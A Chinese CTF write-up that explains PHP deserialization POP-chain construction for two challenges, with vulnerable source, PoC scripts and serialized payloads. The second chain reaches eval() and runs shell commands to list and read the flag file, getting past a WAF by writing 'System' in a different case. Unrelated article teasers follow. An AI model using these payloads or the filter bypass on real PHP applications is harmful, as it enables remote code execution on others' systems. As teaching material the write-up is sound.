php反序列化——pop链构造[SWPUCTF 2021 新生赛]pop [NISACTF 2022]babyserialize

构造pop链

[SWPUCTF 2021 新生赛]pop

用反推法

从后往前推

这题的最后一步很明显

只要给$admin和$passwd赋值 就会echo flag

所以反推法第一步就是要调用Getflag()函数 找到$this->w00m->{$this->w22m}();

$this->mw00->{$this->w22m}();的意思是调用当前对象的 w00m 属性中名为 $this->w22m 的方法。

所以只需

mw00=w44m  w22m = Getflag()即可调用Getflag()

这题的链条是(反推)

 class w44m中的Getflag() -> class w33m中的__toString() -> class w22m中的 __destruct()

具体的推导和赋值在注释里:

 <?php
  error_reporting(0);
  show_source("index.php");
  class w44m
  {
    private $admin = 'aaa';
    protected $passwd = '123456';
    public function Getflag()//1.想办法调用Getflag()函数 找到$this->w00m->{$this->w22m}();
    {
      if ($this->admin === 'w44m' && $this->passwd === '08067') {
        include('flag.php');
        echo $flag;
      } else {
        echo $this->admin;
        echo $this->passwd;
        echo 'nono';
      }
    }
  }
  class w22m
  {
    public $w00m;
    public function __destruct()//3.反序列化$w00m时可调用
    {
      echo $this->w00m;//w00m = w33m
    }
  }
  class w33m
  {
    public $w00m;
    public $w22m;
    public function __toString()//2.想办法调用__toString() 找到echo $this->w00m;
    {
      $this->mw00->{$this->w22m}();//调用当前对象的 w00m 属性中名为 $this->w22m 的方法。
      //mw00=w44m  w22m = Getflag() 
      
      return 0;
    }
  }
  $w00m = $_GET['w00m'];
  unserialize($w00m);

poc

class w44m{

    private $admin = 'w44m';
    protected $passwd = '08067';

   
}

class w22m{
    public $w00m;
   
}

class w33m{
    public $w00m;
    public $w22m;
  
}

$a = new w44m();

$c = new w33m();
$c->w00m = $a;
$c->w22m = 'Getflag';
$b = new w22m();
$b->w00m = $c;


echo serialize($b);
echo urlencode(serialize($b));

?> 

因为有私有属性

直接urlencode 省的加%00了

payload:O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"%00w44m%00admin";s:4:"w44m";s:9:"*passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}

[NISACTF 2022]babyserialize

先反序列化classNISA 看一下hint

<?php
  //include "waf.php";
  class NISA
  {
    public $fun = "show_me_flag";
    public $txw4ever;
  }
 $lcycb = new NISA();
  echo serialize($lcycb);
    
  ?>

O:4:"NISA":2:{s:3:"fun";s:12:"show_me_flag";s:8:"txw4ever";N;}

告诉我们flag在根目录

这题最后一步也很清晰了

这里有一个命令执行函数

只要给txw4ever赋值一个类似

system(“ls”);

这样的值我们就成功getshell

这里的链小点复杂

我写在注释里

include "waf.php";
  class NISA
  {
    public $fun = "show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
      if ($this->fun == "show_me_flag") {
        hint();
      }
    }

    function __call($from, $val)
    {
      $this->fun = $val[0];
    }

    public function __toString()
    {
      echo $this->fun; 
      return " ";
    }
    public function __invoke()//1.调用__invoke() 找到$bb = $this->su; return $bb();(54)
    {
      checkcheck($this->txw4ever);
      @eval($this->txw4ever);//1 shell
    }
  }

  class TianXiWei
  {
    public $ext;
    public $x;
    public function __wakeup()//5.反序列化 class TianXiWei 即可触发
    {
      $this->ext->nisa($this->x);//ext = class Ilovetxw
    }
  }

  class Ilovetxw
  {
    public $huang;
    public $su;

    public function __call($fun1, $arg){ //4.调用call 调用了对象里不存在的方法 找到 $this->ext->nisa($this->x);(37)
      $this->huang->fun = $arg[0];//huang=  class four
    }

    public function __toString()//2.调用__toString() 把对象被当成字符串调用 找调用字符串的指令 找到strtolower($this->a);(67)
    {
      $bb = $this->su;
      return $bb();//su = class NISA
    }
  }

  class four
  {
    public $a = "TXW4EVER";
    private $fun = 'abc';

    public function __set($name, $value)//3.调用set() 条件:给不存在的属性赋值 找到$this->huang->fun = $arg[0];(48)
    {
      $this->$name = $value;
      if ($this->fun = "sixsixsix") {
        strtolower($this->a);//a=class Ilovetxw 
      }
    }
  }

  if (isset($_GET['ser'])) {
    @unserialize($_GET['ser']);
  } else {
    highlight_file(__FILE__);
  }

构造poc

//poc
class NISA{
    public $fun="lcycb";
    public $txw4ever="System('ls /');";
   
}

class TianXiWei{//key
    public $ext;//ext = class Ilovetxw $b
    public $x;
}

class Ilovetxw{
    public $huang;//huang=  class four $c
    public $su;//su = class NISA $a

}

class four{
    public $a="TXW4EVER";//a=class Ilovetxw $b
    private $fun='abc';

}

$a = new NISA();
$b = new Ilovetxw();
$c = new four();
$key = new TianXiWei();
$b->su = $a;
$c->a = $b;
$b->huang = $c;
$key->ext = $b;
echo serialize($key);
echo "\n";
echo urlencode(serialize($key));

这里还有两个坑

1 .是要改变$fun 的值

不然无法绕过第一个if语句

回显的永远是那个hint

2.这里有一个waf.php过滤

system被过滤了

但只要大写就能绕过了

payload:

?ser=O:9:"TianXiWei":2:{s:3:"ext";O:8:"Ilovetxw":2:{s:5:"huang";O:4:"four":2:{s:1:"a";r:2;s:9:"%00four%00fun";s:3:"abc";}s:2:"su";O:4:"NISA":2:{s:3:"fun";s:5:"lcycb";s:8:"txw4ever";s:12:"System(ls /)";}}s:1:"x";N;}

?ser=O:9:"TianXiWei":2:{s:3:"ext";O:8:"Ilovetxw":2:{s:5:"huang";O:4:"four":2:{s:1:"a";r:2;s:9:"%00four%00fun";s:3:"abc";}s:2:"su";O:4:"NISA":2:{s:3:"fun";s:5:"lcycb";s:8:"txw4ever";s:27:"System("cat /fllllllaaag");";}}s:1:"x";N;}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/492877.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

中科数安|企业内部核心数据、技术资料透明加密系统,防止外泄

#文件防泄密软件# 中科数安公司专为企业内部核心数据和技术资料的安全保驾护航&#xff0c;其提供的透明加密系统是一款强有力的信息安全保障工具。 中科数安 | 信息安全防泄密系统 PC地址&#xff1a;www.weaem.com 这套系统主要特点和功能包括&#xff1a; 1. **透明加密**…

你的 Python 代码需要解释一下了!

Python 是一种相对简单的编程语言。它主要以解释型语言著称&#xff0c;这意味着每行代码都要通过解释器逐行执行。不过在某些时候&#xff0c;将 Python 代码翻译成计算机可以理解的内容&#xff0c;然后再逐行执行&#xff0c;可以减少繁琐。 在这种情况下&#xff0c;编译器…

PyTorch 教程-快速上手指南

文章目录 PyTorch Quickstart1.处理数据2.创建模型3.优化模型参数4.保存模型5.加载模型 PyTorch 基础入门1.Tensors1.1初始化张量1.2张量的属性1.3张量运算1.3.1张量的索引和切片1.3.2张量的连接1.3.3算术运算1.3.4单元素张量转变为Python数值 1.4Tensor与NumPy的桥接1.4.1Tens…

langchin-chatchat部分开发笔记(持续更新)

大模型相关目录 大模型&#xff0c;包括部署微调prompt/Agent应用开发、知识库增强、数据库增强、知识图谱增强、自然语言处理、多模态等大模型应用开发内容 从0起步&#xff0c;扬帆起航。 大模型应用向开发路径及一点个人思考大模型应用开发实用开源项目汇总大模型问答项目…

uniapp 苹果支付内购示例代码

// #ifdef APPasync init() {uni.showLoading({title: 检测支付环境...});try {// 初始化&#xff0c;获取iap支付通道await this._iap.init();// 从苹果服务器获取产品列表this.productList await this._iap.getProduct();this.productList[0].checked true;this.productId …

阿里云部署宝塔,设置了安全组还是打不开。

1.在安全组是开放正确的端口好。8888要开&#xff0c;但是不只是开放8888&#xff0c;举个例子&#xff0c;https://47.99.53.222:17677/49706cf7这个&#xff0c;要开放17677这个端口号。 2.安全组要挂载到实例上&#xff0c;从三个点的进入点击管理实例&#xff0c;加到对应的…

独立站推广新策略:从精准定位到网红合作,开启品牌“长红”之路

随着互联网技术的飞速发展和消费者购物习惯的不断变化&#xff0c;独立站作为一种新型的电商模式&#xff0c;正逐渐成为品牌商家们拓展市场、提升品牌影响力的重要途径。然而&#xff0c;如何在竞争激烈的市场中脱颖而出&#xff0c;实现从短期流量吸引向长期品牌建设的转变&a…

为响应国家号召,搜维尔科技开启虚拟仿真实验室设备升级改造服务

近日&#xff0c;国务院发布了关于《推动大规模设备更新和消费品以旧换新行动方案》&#xff0c;该通知的发布表现出国家对于科技创新事业的高度重视。各行各业都在积极响应国家号召&#xff0c;加快数字化转型和设备升级与更新步伐。搜维尔科技为响应国家号召&#xff0c;将开…

如何使用CHAT-AI?

伴随着CHAT-GPT的出现&#xff0c;人们都喜欢上了CHAT-AI。嗯&#xff1f;你还不会用&#xff1f;&#xff01; 教程来喽&#xff01; 首先点这里的 … 点击扩展 接着选择“管理扩展” 点击之后搜索“wetab” 最后你需要注册一个号&#xff0c;然后就可以使用CHAT-AI啦&#x…

28位驻华大使、公使参访苏州金龙 点赞刚刚全球发布的新V系大巴

3月26日下午&#xff0c;由外交部组织的“驻华使节团参访江苏”活动走进苏州金龙。来自28个国家和国际组织的驻华大使、公使参观了苏州金龙展厅&#xff0c;并试乘体验了苏州金龙全新V系大巴。外交部中国政府欧洲事务特别代表吴红波&#xff0c;外交部礼宾司、翻译司、非洲司、…

产品力升级:揭秘产品力课程,打造竞争力强劲的爆款产品

在当今激烈的市场竞争中&#xff0c;产品力是企业成功的关键之一。那么&#xff0c;什么是产品力?什么是产品力课程&#xff1f;产品力课程如何帮助企业打造竞争力强劲的爆款产品?本文将为您一一解答。 什么是产品力? 产品力指的是一个产品在市场竞争中所具备的能力和优势。…

浏览器导出excel

做java web项目时&#xff0c;经常遇到需要在页面上点击导出按钮&#xff0c;然后直浏览器接下载下来一个excel文档。 比如一个List<Person>的集合&#xff0c;需要将每个Person当做一行&#xff0c;输出到excel中去。其中Person实体类如下&#xff1a; import lombok.…

PTA-练习9

目录 实验10-4 递归实现顺序输出整数 实验10-10 十进制转换二进制 实验10-6 递归求简单交错幂级数的部分和 实验11-1-2 输出月份英文名 实验11-1-6 指定位置输出字符串 实验11-1-8 查找子串 递归的基本思路&#xff1a; 推出递归的条件或者进入递归的条件每层递归需要执行…

手把手教你绘画原型图:Axure的安装使用

&#x1f341; 作者&#xff1a;知识浅谈&#xff0c;CSDN签约讲师&#xff0c;CSDN博客专家&#xff0c;华为云云享专家&#xff0c;阿里云专家博主 &#x1f4cc; 擅长领域&#xff1a;全栈工程师&#xff0c;大模型&#xff0c;爬虫、ACM算法 &#x1f492; 公众号&#xff…

DC-3靶机

一.环境搭建 下载地址&#xff1a; http://www.five86.com/downloads/DC-3-2.zip 下载不下来的可以用迅雷输入上面的网址进行下载 虚拟机配置&#xff1a; 切换连接桥接模式为nat模式&#xff0c;启动靶机&#xff0c;出现如下报错&#xff0c;进入虚拟机配置 选中CD/DVD&…

通过Appium和Xcode Accessibility Inspector获取iOS应用元素定位的方法

在 iOS 移动应用程序上使用选择器查找元素定位是我们在移动端 UI 自动化测试的先决条件。 但是&#xff0c;由于应用程序内容在原生 iOS 应用程序中的呈现方式&#xff0c;我们可以用来定位应用程序元素的选择器与 Web 浏览器元素有很大不同。 在本文中&#xff0c;我们将了解 …

百元开放式耳机怎么选?五款入手不亏的上乘产品推荐

耳机已经成为了我们生活中不可或缺的一部分&#xff0c;无论是通勤路上的音乐陪伴&#xff0c;还是家中观影的沉浸体验&#xff0c;一款优质的耳机都能为我们带来极大的享受。而在众多耳机类型中&#xff0c;开放式耳机因其独特的声场表现和舒适的佩戴体验&#xff0c;受到了越…

弹性伸缩 AS

&#x1f341;博主简介&#xff1a; &#x1f3c5;云计算领域优质创作者 &#x1f3c5;2022年CSDN新星计划python赛道第一名 &#x1f3c5;2022年CSDN原力计划优质作者 &#x1f3c5;阿里云ACE认证高级工程师 &#x1f3c5;阿里云开发者社区专…

JavaScript进阶5之垃圾回收(计算机组成、解释与编译、JavaScript引擎、垃圾回收、内存管理)、运行机制(浏览器进程分类、浏览器事件循环)

垃圾回收&运行机制 垃圾回收计算机组成解释与编译JavaScript引擎V8引擎 垃圾回收引用计数法标记清除&#xff08;mark-sweep&#xff09;算法 内存管理新生代 运行机制浏览器进程分类&#xff1a;浏览器事件循环宏任务微任务整体流程浏览器事件循环案例一案例二 垃圾回收 …

成都克鲁斯机器人电路板故障维修攻略,快来了解一下!

一、克鲁斯机器人电路板维修步骤 断开电源&#xff1a;在进行电路维修前&#xff0c;务必断开机器人的电源&#xff0c;确保安全。 拆卸电路板&#xff1a;根据电路图或维修手册&#xff0c;小心拆卸故障电路板。注意记录拆卸过程中的细节&#xff0c;以便后续重新安装。 更换损…